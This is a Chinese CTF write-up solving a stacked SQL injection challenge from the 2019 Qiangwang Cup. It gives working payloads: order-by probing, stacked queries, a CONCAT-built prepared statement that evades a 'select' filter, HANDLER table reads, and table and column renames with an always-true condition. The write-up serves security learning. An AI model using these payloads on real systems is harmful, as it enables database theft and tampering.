2021.02.01[强网杯2019]随便注

[强网杯 2019]随便注

尝试sqlmap,,,,,放弃

2021.02.01[强网杯2019]随便注

尝试手动注入

1.随便注就随便注啦

输入1

2021.02.01[强网杯2019]随便注

输入1' order by 2#

2021.02.01[强网杯2019]随便注

输入1' order by 3#

2021.02.01[强网杯2019]随便注

可以判断出列数为2

2.尝试联合注入

输入1' union select 2 #

2021.02.01[强网杯2019]随便注

发现存在过滤,许多关键词被禁

3.尝试堆叠注入

堆叠注入原理:https://blog.csdn.net/qq_45691294/article/details/107376284

输入1';show databases;#

2021.02.01[强网杯2019]随便注

堆叠注入可行√

输入11';show tables;

2021.02.01[强网杯2019]随便注

怀疑flag在1919810931114514中,但关键词select被过滤掉了

4.绕过关键词过滤(收集到三种方法)

4.1 预处理语句

采用CONCAT连接字符串避免出现select

-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare sqlsql from @sql;
execute sqlsql;

2021.02.01[强网杯2019]随便注

strstr(str1,str2)用于判断str2是否是str1的字串,大小写敏感,尝试将set和prepare改为大写

-1';
SET @sql=CONCAT('se','lect * from `1919810931114514`;');
PREPARE sqlsql from @sql;
execute sqlsql;

得到flag

2021.02.01[强网杯2019]随便注

4.2 mysql查询语句-handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
1';handler `1919810931114514` open;handler `1919810931114514` read first;#

获得flag

2021.02.01[强网杯2019]随便注

4.3 修改表名

猜测后台查询语句为

select * from words where id = ' ';

将1919810931114514表名修改为words,flag列名改为id,这样进行查询时,实际上是从flag中进行查询。

修改语法:

-- 修改表名(将表名user修改为users)
alter table user rename to users;
-- 修改列名(将字段名username改为names)
alter table users change username names varchar(30)

so

-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#
1' or '1' = '1

制造永真条件,返回数据

2021.02.01[强网杯2019]随便注

其他:

反引号(`)和单引号('')的区别与用法:

  1. mysql 中用一对反引号来标注 sql 语句中的标识,如数据库名、表名、字段名
  2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
  3. 若有表名称为select,因select为关键词,故使用反引号`select`表示该表
上一篇:XCTF supersqli


下一篇:Day13_商品详情及静态化